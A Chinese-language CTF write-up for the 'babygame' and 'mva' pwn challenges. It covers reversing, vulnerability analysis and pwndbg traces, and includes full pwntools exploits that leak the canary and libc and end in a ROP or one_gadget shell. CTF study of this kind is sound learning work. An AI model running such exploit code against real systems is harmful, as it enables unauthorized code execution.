.text:00000000000014C9 128 mov edx, 256h ; nbytes
.text:00000000000014CE 128 mov rsi, rax ; buf
.text:00000000000014D1 128 mov edi, 0 ; fd
/* 我们已经泄露了canary,劫持程序回到栈溢出的点就可以获取shell */
/* 这个"5"其实是随便写的,因为地址随机化是按页划分的,覆盖低3位,就有1/16的概率匹配 */
/* 至于为什么选择这个地址,其实也没有什么要求,在这附近就行(在read之前) */

最后的栈溢出获取 shell 就很简单了,挂一下完整exp:(注意爆破脚本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
from ctypes import *

elf=ELF('./babygame')
libc=ELF('./libc-2.31.so')
key=cdll.LoadLibrary('./libc-2.31.so')

def pwn():
#gdb.attach(p)
p.recvuntil('Please input your name:')
payload='a'*256+'1'*4+'a'*12
p.send(payload)
p.recvuntil('1'*4+'a'*12)
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
stack_addr=leak_addr-528
success('leak_addr >> '+hex(leak_addr))
success('stack_addr >> '+hex(stack_addr))
seed=key.srand(0x31313131)

for i in range(100):
p.recvuntil('round '+ str(i+1)+ ': \n')
num=(key.rand()+1)%3
p.sendline(str(num))

p.recvuntil("Good luck to you.\n")

target_stack=stack_addr-0x8
payload = "%13$p%27$p"
payload +="%"+str(0x54c2-0x20)+"c"+"%9$hn"
payload = payload.ljust(0x18,"a")
payload = flat([payload,p64(target_stack)])

p.sendline(payload)

p.recvuntil('0x')
canary=int((p.recv(16)),16)
p.recvuntil('0x')
leak_addr=int((p.recv(12)),16)
libc_base=leak_addr-280052

success('canary >> '+hex(canary))
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

poprdi_ret=0x23b72+libc_base
ret=0x22679+libc_base
system_libc=libc.sym['system']+libc_base
binsh = next(libc.search(b"/bin/sh"))+libc_base

payload='a'*(0x120-0x18)+p64(canary)+'a'*0x10+'b'*0x8
payload+=p64(poprdi_ret)+p64(binsh)+p64(ret)+p64(system_libc)
p.sendline(payload)
sleep(1)
p.recvuntil("2. paper\n")
log.success("success")
p.sendline("1")
p.interactive()

if __name__ =="__main__":
while True:
sleep(0.5)
p=process('./babygame')
try:
pwn()
except EOFError:
p.close()
log.success("continue!!!")

小结

这次比赛我摆烂了,没有出多少力,看着 kernel pwn 和那些我不知道是什么的东西,我感觉我排不上用场了,于是花了一下午去搭了搭 kernel 的环境,后来就出了这道题(我稍微可以摸一摸)

先谈谈我遇到这道题时的“阻力”吧:

  • 不知道栈溢出该泄露什么东西
    • 后面有格式化漏洞,我的第一反应就是泄露“stack_addr”,但是这个canary保护着后面的数据,导致我当时想着先泄露canary,然后再格式化漏洞里面泄露其他东西
  • 如何绕过随机数检测
    • 这个在当时只卡了一小会(当时那个愚蠢的我还想着全输入“1”来爆破),后来选择覆盖seed,一下子就搞定了
  • 如何绕过canary
    • 当时我就是卡在了这里,在分析大佬的wp时,我发现大佬把canary给覆盖了,然后去泄露后面的“stack_addr”
    • 我在GDB中发现:当canary被覆盖以后,程序会把原来的返回地址给替换为“异常处理程序”,也就是说,canary报错程序只会在当前函数返回时启动
  • 如何使程序循环
    • 利用格式化漏洞可以轻易获取canary,但是程序本身没有循环,必须控制某个返回地址来使程序再次执行栈溢出漏洞,在复现时这里也困扰了我一下
    • 后来和大佬交流,发现关键点就是在栈中写入“某个返回地址所在的栈地址”,然后计算偏移进行修改(其实我以前总结过,不过后来忘了)

通过本题我把以前丢掉的东西捡了起来,也学了一些新东西

mva

这是我第一次尝试 VMP pwn

1
2
3
4
➜  桌面 ./mva
[+] Welcome to MVA, input your code now :
aaaaaaaa
bbbbbbbb
1
2
3
4
5
6
7
8
mva: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b8c5659d20f095ec5c46c6bccb7c6a05d5952b02, for GNU/Linux 3.2.0, stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/mva'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

简单修改后的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int v3; // eax
unsigned __int16 v5; // [rsp+20h] [rbp-240h]

init_s();
puts("[+] Welcome to MVA, input your code now :");
fread(&code, 0x100uLL, 1uLL, stdin);
puts("[+] MVA is starting ...");
while ( 1 )
{
((void (__fastcall *)())((char *)&sub_11E8 + 1))(); /* 未知算法 */
v5 = HIBYTE(v3); /* 分析出错 */
if ( v5 > 0xFu )
break;
if ( v5 <= 0xFu )
__asm { jmp rax }
}
puts("[+] MVA is shutting down ...");
return 0LL;
}

因为IDA无法识别跳转表,必须手动修改:

  • 先在IDA的“.rodata”区中找到跳转表(地址“0x206C”)
1
2
3
4
5
6
.rodata:000000000000206C unk_206C        db  8Bh                 ; DATA XREF: main+134↑o
.rodata:000000000000206C ; main+140↑o
.rodata:000000000000206D db 0F3h
.rodata:000000000000206E db 0FFh
.rodata:000000000000206F db 0FFh
.rodata:0000000000002070 db 99h
  • 用 TAB 定位“ __asm { jmp rax } ”的汇编代码位置
1
2
3
4
5
6
7
8
.text:00000000000013D6                 lea     rdx, ds:0[rax*4] // target
.text:00000000000013DE lea rax, unk_206C
.text:00000000000013E5 mov eax, [rdx+rax]
.text:00000000000013E8 cdqe
.text:00000000000013EA lea rdx, unk_206C
.text:00000000000013F1 add rax, rdx
.text:00000000000013F4 db 3Eh
.text:00000000000013F4 jmp rax
  • 在第一个“unk_206C”前进行修改(下面第二个记得勾)

修改完成,并且进行了一些优化后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int16 v4; // [rsp+1Ah] [rbp-246h]
__int16 v5; // [rsp+1Ch] [rbp-244h]
unsigned __int16 key; // [rsp+20h] [rbp-240h]
unsigned int enc_num; // [rsp+24h] [rbp-23Ch]
int v8; // [rsp+28h] [rbp-238h]
__int64 v9; // [rsp+30h] [rbp-230h]
__int64 v10; // [rsp+44h] [rbp-21Ch]
int v11; // [rsp+4Ch] [rbp-214h]
__int16 v12[260]; // [rsp+50h] [rbp-210h]
unsigned __int64 v13; // [rsp+258h] [rbp-8h]

v13 = __readfsqword(0x28u);
init_s();
v4 = 0;
v9 = 0LL;
v10 = 0LL;
v11 = 0;
v5 = 1;
puts("[+] Welcome to MVA, input your code now :");
fread(&code, 0x100uLL, 1uLL, stdin); /* 输入code */
puts("[+] MVA is starting ...");
LABEL_102:
while ( v5 )
{
enc_num = enc();
key = HIBYTE(enc_num); /* HIWORD 取8bits高4bits */
if ( key > 0xFu )
break;
if ( key <= 0xFu )
{
switch ( key )
{
case 0u:
v5 = 0;
goto LABEL_102;
case 1u:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
goto LABEL_8;
*((_WORD *)&v10 + SBYTE2(enc_num)) = enc_num;
break;
case 2u:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( SBYTE1(enc_num) > 5 || (enc_num & 0x8000) != 0 )
exit(0);
if ( (char)enc_num > 5 || (enc_num & 0x80u) != 0 )
exit(0);
*((_WORD *)&v10 + SBYTE2(enc_num)) = *((_WORD *)&v10 + SBYTE1(enc_num)) + *((_WORD *)&v10 + (char)enc_num);
goto LABEL_102;
case 3u:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( SBYTE1(enc_num) > 5 || (enc_num & 0x8000) != 0 )
exit(0);
if ( (char)enc_num > 5 || (enc_num & 0x80u) != 0 )
exit(0);
*((_WORD *)&v10 + SBYTE2(enc_num)) = *((_WORD *)&v10 + SBYTE1(enc_num)) - *((_WORD *)&v10 + (char)enc_num);
goto LABEL_102;
case 4u:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( SBYTE1(enc_num) > 5 || (enc_num & 0x8000) != 0 )
exit(0);
if ( (char)enc_num > 5 || (enc_num & 0x80u) != 0 )
exit(0);
*((_WORD *)&v10 + SBYTE2(enc_num)) = *((_WORD *)&v10 + SBYTE1(enc_num)) & *((_WORD *)&v10 + (char)enc_num);
goto LABEL_102;
case 5u:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( SBYTE1(enc_num) > 5 || (enc_num & 0x8000) != 0 )
exit(0);
if ( (char)enc_num > 5 || (enc_num & 0x80u) != 0 )
exit(0);
*((_WORD *)&v10 + SBYTE2(enc_num)) = *((_WORD *)&v10 + SBYTE1(enc_num)) | *((_WORD *)&v10 + (char)enc_num);
goto LABEL_102;
case 6u:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( SBYTE1(enc_num) > 5 || (enc_num & 0x8000) != 0 )
exit(0);
*((_WORD *)&v10 + SBYTE2(enc_num)) = (int)*((unsigned __int16 *)&v10 + SBYTE2(enc_num)) >> *((_WORD *)&v10 + SBYTE1(enc_num));
goto LABEL_102;
case 7u:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( SBYTE1(enc_num) > 5 || (enc_num & 0x8000) != 0 )
exit(0);
if ( (char)enc_num > 5 || (enc_num & 0x80u) != 0 )
exit(0);
*((_WORD *)&v10 + SBYTE2(enc_num)) = *((_WORD *)&v10 + SBYTE1(enc_num)) ^ *((_WORD *)&v10 + (char)enc_num);
goto LABEL_102;
case 8u:
JUMPOUT(0x1780LL);
case 9u:
if ( v9 > 256 )
exit(0);
if ( BYTE2(enc_num) )
v12[v9] = enc_num;
else
v12[v9] = v10;
++v9;
goto LABEL_102;
case 0xAu:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( !v9 )
exit(0);
*((_WORD *)&v10 + SBYTE2(enc_num)) = v12[--v9];
goto LABEL_102;
case 0xBu:
v8 = enc();
if ( v4 == 1 )
index = v8;
goto LABEL_102;
case 0xCu:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( SBYTE1(enc_num) > 5 || (enc_num & 0x8000) != 0 )
exit(0);
v4 = *((_WORD *)&v10 + SBYTE2(enc_num)) == *((_WORD *)&v10 + SBYTE1(enc_num));
goto LABEL_102;
case 0xDu:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( (char)enc_num > 5 || (enc_num & 0x80u) != 0 )
exit(0);
*((_WORD *)&v10 + SBYTE2(enc_num)) = *((_WORD *)&v10 + SBYTE1(enc_num)) * *((_WORD *)&v10 + (char)enc_num);
goto LABEL_102;
case 0xEu:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( SBYTE1(enc_num) > 5 )
exit(0);
*((_WORD *)&v10 + SBYTE1(enc_num)) = *((_WORD *)&v10 + SBYTE2(enc_num));
goto LABEL_102;
case 0xFu:
printf("%d\n", (unsigned __int16)v12[v9]);
goto LABEL_102;
default:
LABEL_8:
exit(0);
}
}
}
puts("[+] MVA is shutting down ...");
return 0LL;
}

好看一点了

入侵思路

说实话有点搞,但是还是只能一步步分析每个“case”的作用,以及可能的漏洞:

  • case0:终止循环
  • case1:赋值v10为“enc_num”
1
2
3
4
5
6
7
8
9
#define SBYTE2(x)   SBYTEn(x,  2) /* 右移16位然后取低8位 */
#define SBYTEn(x, n) (*((int8*)&(x)+n)) /* 取(地址+2)的内容-第3字节 */

case 1u:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
goto LABEL_8; /* exit */
*((_WORD *)&v10 + SBYTE2(enc_num)) = enc_num; /* 感觉v10有点溢出 */
break;
/* 在(v10+SBYTE2(enc_num))的位置写入enc_num */
  • case2:对v10进行加操作(后面的代码都是类似的)
1
2
3
4
5
6
7
8
9
case 2u:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( SBYTE1(enc_num) > 5 || (enc_num & 0x8000) != 0 )
exit(0);
if ( (char)enc_num > 5 || (enc_num & 0x80u) != 0 )
exit(0);
*((_WORD *)&v10 + SBYTE2(enc_num)) = *((_WORD *)&v10 + SBYTE1(enc_num)) + *((_WORD *)&v10 + (char)enc_num);
goto LABEL_102;
  • case3:对v10进行减操作
  • case4:对v10进行与操作
  • case5:对v10进行或操作
  • case6:对v10进行位移操作
1
2
3
4
5
6
7
case 6u:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( SBYTE1(enc_num) > 5 || (enc_num & 0x8000) != 0 )
exit(0);
*((_WORD *)&v10 + SBYTE2(enc_num)) = (int)*((unsigned __int16 *)&v10 + SBYTE2(enc_num)) >> *((_WORD *)&v10 + SBYTE1(enc_num));
goto LABEL_102;
  • case7:对v10进行异或操作
1
2
3
4
5
6
7
8
9
case 7u:                              
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( SBYTE1(enc_num) > 5 || (enc_num & 0x8000) != 0 )
exit(0);
if ( (char)enc_num > 5 || (enc_num & 0x80u) != 0 )
exit(0);
*((_WORD *)&v10 + SBYTE2(enc_num)) = *((_WORD *)&v10 + SBYTE1(enc_num)) ^ *((_WORD *)&v10 + (char)enc_num);
goto LABEL_102;
  • case8:乱码,只能看汇编
1
2
3
4
5
6
7
.text:0000000000001780 loc_1780:                               ; DATA XREF: .rodata:jpt_13D6↓o
.text:0000000000001780 mov eax, 0
.text:0000000000001785 call enc
.text:000000000000178A mov [rbp+var_234], eax
.text:0000000000001790 mov eax, [rbp+var_234]
.text:0000000000001796 mov cs:index, eax
.text:000000000000179C jmp loc_1A2B
  • case9:把v10赋值给v12
1
2
3
4
5
6
7
8
9
10
11
12
__int64 v9; // [rsp+30h] [rbp-230h] /* 数组负溢出 */
__int16 v12[260]; // [rsp+50h] [rbp-210h]

case 9u:
if ( v9 > 256 )
exit(0);
if ( BYTE2(enc_num) )
v12[v9] = enc_num;
else
v12[v9] = v10;
++v9;
goto LABEL_102;
  • case10:把v12赋值给v10
1
2
3
4
5
6
7
case 0xAu:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( !v9 )
exit(0);
*((_WORD *)&v10 + SBYTE2(enc_num)) = v12[--v9];
goto LABEL_102;
  • case11:再次执行“enc”,重置index
1
2
3
4
5
case 0xBu:
v8 = enc();
if ( v4 == 1 )
index = v8;
goto LABEL_102;
  • case12:比较
1
2
3
4
5
6
7
case 0xCu:                             
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( SBYTE1(enc_num) > 5 || (enc_num & 0x8000) != 0 )
exit(0);
v4 = *((_WORD *)&v10 + SBYTE2(enc_num)) == *((_WORD *)&v10 + SBYTE1(enc_num));
goto LABEL_102;
  • case13:对v10进行乘操作
1
2
3
4
5
6
7
case 0xDu:                             
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( (char)enc_num > 5 || (enc_num & 0x80u) != 0 )
exit(0);
*((_WORD *)&v10 + SBYTE2(enc_num)) = *((_WORD *)&v10 + SBYTE1(enc_num)) * *((_WORD *)&v10 + (char)enc_num);
goto LABEL_102;
  • case14:赋值v10
1
2
3
4
5
6
7
case 0xEu:
if ( SBYTE2(enc_num) > 5 || (enc_num & 0x800000) != 0 )
exit(0);
if ( SBYTE1(enc_num) > 5 )
exit(0);
*((_WORD *)&v10 + SBYTE1(enc_num)) = *((_WORD *)&v10 + SBYTE2(enc_num));
goto LABEL_102;
  • case15:打印v12
1
2
3
case 0xFu:
printf("%d\n", (unsigned __int16)v12[v9]);
goto LABEL_102;

分析:首先这个“case15”一定是用来 leak libc_base 的(可能是:利用case9把v10赋值给v12,然后利用case15来打印v12)

在此之前还必须思考一下函数“enc”的逻辑以生成合适的“key”,程序原本的代码为:

1
2
3
4
5
6
7
8
9
10
#define HIBYTE(x)   (*((_BYTE*)&(x)+1)) /* 让一个4字节的数据,保留第2个字节 */

__int64 enc()
{
unsigned int key; // [rsp+4h] [rbp-Ch]

key = (*(_DWORD *)((char *)&code + index) << 8) & 0xFF0000 | (*(_DWORD *)((char *)&code + index) >> 8) & 0xFF00 | HIBYTE(*(_DWORD *)((char *)&code + index)) | (*(_DWORD *)((char *)&code + index) << 24);
index += 4; /* 每次操作4字节 */
return key;
}

用 python 进行简化处理:

1
2
3
4
5
code=9 # input(4byte)
enc_num = ((code << 8) & 0xFF0000) | ((code >> 8) & 0xFF00) | ((code >> 8) & 0xFF)| ((code << 24) & 0xff000000)
key=(enc_num >> 24) & 0xff
print("enc_num="+str(enc_num))
print("key="+str(key))

经过多轮测试:4字节“input”的最后1字节就是“key”(解决了“key”的问题,还有很多谜团,程序有意把4字节的code按照地址高低分为4部分,我不知道为什么)

我觉得我到此为止了,目前还有以下几个问题需要解决:

  • 控制v12进行打印(leak libc_base and pro_base)
  • 最终的入侵手段(hook or ret-system)
  • 漏洞利用点(我勉强能分析清楚程序的意思,但利用点就不清楚了)

复现官方wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/python3

from pwn import *
context.arch='amd64'

def pack(op:int, p1:int = 0, p2:int = 0, p3:int = 0) -> bytes:
return (op&0xff).to_bytes(1,'little') + \
(p1&0xff).to_bytes(1,'little') + \
(p2&0xff).to_bytes(1,'little') + \
(p3&0xff).to_bytes(1,'little')

def ldr(val): # v10=p1(offset1)~p2(offset2)~p3(offset3)
return pack(0x01, 0, val >> 8, val)

def add(p1, p2, p3): # *(&v10+p1)=*(&v10+p2) + *(&v10+p3)
return pack(0x02, p1, p2, p3)

def sub(p1, p2, p3): # *(&v10+p1)=*(&v10+p2) - *(&v10+p3)
return pack(0x03, p1, p2, p3)

def shr(p1, p2): # *(&v10+p1)=*(&v10+p1) >> *(&v10+p2)
return pack(0x06, p1, p2)

def xor(p1, p2, p3): # *(&v10+p1)=*(&v10+p2) ^ *(&v10+p3)
return pack(0x07, p1, p2, p3)

def push(): # v12=v10(ban "v12=*(&v10+p1)")
return pack(0x09)

def pop(p1): # *(&v10+p1)=v12
return pack(0x0a, p1)

def mul(p1, p2, p3): # *(&v10+p1)=*(&v10+p2) * *(&v10+p3)
return pack(0x0D, p1, p2, p3)

def mv(p1, p2): # *(&v10+p2) = *(&v10+p1)
return pack(0x0E, p1, p2)

def sh(): # show
return pack(0x0F)

puts_offset = 0x845ca
puts_leak = (0x38 + 0x268 - 0x224) >> 1
onegadgetlst = [0xe3b2e, 0xe3b31, 0xe3b34]
onegadget = onegadgetlst[0]
toadd = onegadget - puts_offset
stack_leak = (0x268 - 0x224) >> 1
stack_pointer_leak = (0x238 - 0x224) >> 1

tosub = 0x1a799e + 0x308
# tosub = 0x1a399e + 0x308 # debug aslr
tosub = tosub - 0x3000 # no aslr : player environment
tosub = tosub - 0x4000 # aslr : player environment

# - 0x308 + stack_leak - puts + 0x1a799e
pay = ldr(0x1)
pay += mv(0,1)
pay += ldr(tosub&0xffff)
pay += mv(0,3)
pay += mul(4,-puts_leak,1)
pay += mul(5,-stack_leak,1)
pay += sub(0,5,4)
pay += sub(0,0,3)
pay += shr(0,1)
pay += push()

pay += ldr((tosub>>16)&0xffff)
pay += mv(0,3)
pay += mul(4,-puts_leak+1,1)
pay += mul(5,-stack_leak+1,1)
pay += sub(0,5,4)
pay += sub(0,0,3)
pay += shr(0,1)
pay += push()

# onegadget
pay += mul(3,-puts_leak,1)
pay += mul(4,-puts_leak+1,1)
pay += ldr(toadd&0xffff)
pay += add(0,3,0)
pay += push()
pay += ldr(((toadd>>16)&0xffff)+1)
pay += add(0,4,0)
pay += push()
pay += mul(0,-puts_leak+2,1)
pay += push()
pay += pop(3)
pay += pop(4)
pay += pop(5)

pay += pop(1)
pay += pop(2)
pay += ldr(0xffff)
pay += xor(2,0,2)
pay += ldr(1)
pay += add(2,0,2)
pay += mv(2,-stack_pointer_leak)
pay += ldr(0xffff)
pay += xor(1,0,1)
pay += mv(1,-stack_pointer_leak+1)
pay += mv(0,-stack_pointer_leak+2)
pay += mv(0,-stack_pointer_leak+3)
pay += mv(5,0)
pay += push()
pay += mv(4,0)
pay += push()
pay += mv(3,0)
pay += push()
pay += ldr(0)
pay += push()

pay += sh()
print(hex(len(pay)))
assert len(pay) <= 0x100
pay = pay.ljust(0x100,b'\0')

# chance of this exp : about 1230 - 10125 times with 1 flag
# I admit this is an awful exp
while True:
p=remote('127.0.0.1',9999)
p.sendafter('\n',pay)
try:
p.recvuntil('starting ...\n')
p.recvline()
p.recvuntil('down ...\n')
p.sendline('cat flag')
res = p.recvline()
print('[+] flag:', res)
p.interactive()
break
except:
p.close()
pass

逻辑简述:

  • 程序把输入进来的 “0x100字节的code” 分为 “每4字节一小份”
  • 每份又分为4个部分:key ~ p1 ~ p2 ~ p3 ,key用来定位需要执行的“指令”(which-case中的条目),p1 p2 p3 就是对应的偏移(用于获取v10中的数据)
  • 另外程序中还有 v10(被操作的主体),v12(被打印的主体)

漏洞分析:

  • v10被强转为了(_WORD *)类型(2字节),本身为int64(8字节),p1过大很容易时溢出
  • mul指令没有对p2进行检查,可以把很大的数字(比如地址)写入*(&v10+p1)
  • mv指令没有对p2进行检查,可以利用较大的数字,使“SBYTEn”被识别为负数
  • push指令将不断进行“++v9”这个操作,“v12”内部的数据可以溢出

先照抄官方的函数定义,并尝试进行泄露:(这里我打算模仿我们组里某个大佬的操作)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pay = push()*8
pay +=sh()+push()+sh()+push()+sh()
pay = pay.ljust(0x100,b'\0')

p.send(pay)

p.recvuntil('[+] MVA is starting ...\n')
a = int(p.recv(6)[:-1])
log.success("a: " + hex(a))
b = int(p.recv(6)[:-1])
log.success("b: " + hex(b))
c = int(p.recv(6)[:-1])
log.success("c: " + hex(c))
d = (c << 32) | (b << 16) | a
log.success("d: " + hex(d))
libc.address = d - 0x223700
log.success("libc.address: " + hex(libc.address))

通过“push”使“v9”持续增加,最后打印“v12[v9]”中的数据

1
2
3
4
  0x55e14e4377fc    mov    rax, qword ptr [rbp - 0x230] /* rax=v9 */
0x55e14e437803 add rax, 1 /* rax=rax+1 */
0x55e14e437807 mov qword ptr [rbp - 0x230], rax /* v9=rax */
0x55e14e43780e jmp 0x55e14e437a2b /* 返回循环开始 */
1
2
3
4
5
6
pwndbg> telescope 0x7fff54fd5480
00:00000x7fff54fd5480 ◂— 0x1 /* v9=1 */
01:00080x7fff54fd5488 ◂— 0x1
02:00100x7fff54fd5490 ◂— 0xb1bc9cd4 /* v10 */
03:00180x7fff54fd5498 ◂— 0x0 /* v11 */
04:00200x7fff54fd54a0 ◂— 0x0 /* v12[0-3] */
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7fff54fd5480
00:00000x7fff54fd5480 ◂— 0x2 /* v9=2 */
01:00080x7fff54fd5488 ◂— 0x1
02:00100x7fff54fd5490 ◂— 0xb1bc9cd4 /* v10 */
03:00180x7fff54fd5498 ◂— 0x0 /* v11 */
04:00200x7fff54fd54a0 ◂— 0x0 /* v12[0-3] */
05:00280x7fff54fd54a8 ◂— 0x1 /* v12[4-7] */
06:00300x7fff54fd54b0 —▸ 0x7f518679a700 —▸ 0x7f518679a190 —▸ 0x55e14e436000 ◂— 0x10102464c457f /* v12[8-11](target) */
07:00380x7fff54fd54b8 —▸ 0x7f518676a680 ◂— 0x7f518676a680
  • v9 = 8 :
1
2
3
4
5
6
7
pwndbg> telescope 0x7fff54fd5480
00:00000x7fff54fd5480 ◂— 0x8 /* v9=8 */
01:00080x7fff54fd5488 ◂— 0x1
02:00100x7fff54fd5490 ◂— 0xb1bc9cd4 /* v10 */
03:00180x7fff54fd5498 ◂— 0x0 /* v11 */
... ↓ 2 skipped
06:00300x7fff54fd54b0 —▸ 0x7f518679a700 —▸ 0x7f518679a190 —▸ 0x55e14e436000 ◂— 0x10102464c457f /* v12[8-11](target) */
1
2
3
0x55e14e437a20    call   printf@plt                <printf@plt>
format: 0x55e14e43804a ◂— 0x205d2b5b000a6425 /* '%d\n' */
vararg: 0xa700 /* v12[8] */
  • v9 = 9 :
1
2
3
4
5
6
7
8
pwndbg> telescope 0x7fff54fd5480
00:00000x7fff54fd5480 ◂— 9 /* v9=9 */
01:00080x7fff54fd5488 ◂— 0x1
02:00100x7fff54fd5490 ◂— 0xb1bc9cd4 /* v10 */
03:00180x7fff54fd5498 ◂— 0x0 /* v11 */
... ↓ 2 skipped
06:00300x7fff54fd54b0 —▸ 0x7f5186790000 ◂— 's (%s%%)\n' /* v12[8-11](target) */
07:00380x7fff54fd54b8 —▸ 0x7f518676a680 ◂— 0x7f518676a680
1
2
3
0x55e14e437a20    call   printf@plt                <printf@plt>
format: 0x55e14e43804a ◂— 0x205d2b5b000a6425 /* '%d\n' */
vararg: 0x8679 /* v12[9] */
  • v9 = 10 :
1
2
3
4
5
6
7
8
pwndbg> telescope 0x7fff54fd5480
00:00000x7fff54fd5480 ◂— 0xa /* v9=10 */
01:00080x7fff54fd5488 ◂— 0x1
02:00100x7fff54fd5490 ◂— 0xb1bc9cd4 /* v10 */
03:00180x7fff54fd5498 ◂— 0x0 /* v11 */
... ↓ 2 skipped
06:00300x7fff54fd54b0 ◂— 0x7f5100000000 /* v12[8-11](target) */
07:00380x7fff54fd54b8 —▸ 0x7f518676a680 ◂— 0x7f518676a680
1
2
3
0x55e14e437a20    call   printf@plt                <printf@plt>
format: 0x55e14e43804a ◂— 0x205d2b5b000a6425 /* '%d\n' */
vararg: 0x7f51 /* v12[10] */

libc_base 成功泄露,接下来看泄露 pro_base 的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pay = push() # 没什么用,只是为了调试而已
pay += ldr(0,0,0xf4) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0)
pay += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9)
pay += sh() + push() + sh() + push() + sh()
pay = pay.ljust(0x100, b'\x00')

p.send(pay)

p.recvuntil('[+] MVA is starting ...\n')
a = int(p.recv(6)[:-1])
log.success("a: " + hex(a))
b = int(p.recv(6)[:-1])
log.success("b: " + hex(b))
c = int(p.recv(6)[:-1])
log.success("c: " + hex(c))
d = (c << 32) | (b << 16) | a
log.success("d: " + hex(d))
elfbase = d - 0x1a70
log.success("elfbase: " + hex(elfbase))
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7ffcefc61160
00:00000x7ffcefc61160 ◂— 0x1 /* v9=1 */
01:00080x7ffcefc61168 ◂— 0x1
02:00100x7ffcefc61170 ◂— 0x6aa66cd4 /* v10 */
03:00180x7ffcefc61178 ◂— 0x0 /* v11 */
04:00200x7ffcefc61180 ◂— 0x0 /* v12[start] */
05:00280x7ffcefc61188 ◂— 0x1
06:00300x7ffcefc61190 —▸ 0x7f406df3e700 —▸ 0x7f406df3e190 —▸ 0x564995599000 ◂— 0x10102464c457f
07:00380x7ffcefc61198 —▸ 0x7f406df0e680 ◂— 0x7f406df0e680
  • 4 个 ldr 执行完毕后:
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7ffcefc61160
00:00000x7ffcefc61160 ◂— 0x1 /* v9=1 */
01:00080x7ffcefc61168 ◂— 0x1
02:00100x7ffcefc61170 ◂— 0xf46aa66cd4 /* v10[0]:f4 */
03:00180x7ffcefc61178 ◂— 0x80000000 /* v10[3]:0x80000000 */
04:00200x7ffcefc61180 ◂— 0x0 /* v12[start] */
05:00280x7ffcefc61188 ◂— 0x1
06:00300x7ffcefc61190 —▸ 0x7f406df3e700 —▸ 0x7f406df3e190 —▸ 0x564995599000 ◂— 0x10102464c457f
07:00380x7ffcefc61198 —▸ 0x7f406df0e680 ◂— 0x7f406df0e680
1
2
3
pwndbg> x/20xw 0x7ffcefc61170 /* v10被强转为2byte(注意小端序) */
0x7ffcefc61170: 0x6aa66cd4 0x000000f4 0x80000000 0x00000000
0x7ffcefc61180: 0x00000000 0x00000000 0x00000001 0x00000000
  • 4 个 mv 执行完毕后:
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7ffcefc61160
00:00000x7ffcefc61160 ◂— 0x80000000000000f4 /* v9 */
01:00080x7ffcefc61168 ◂— 0x1 /* v10 */
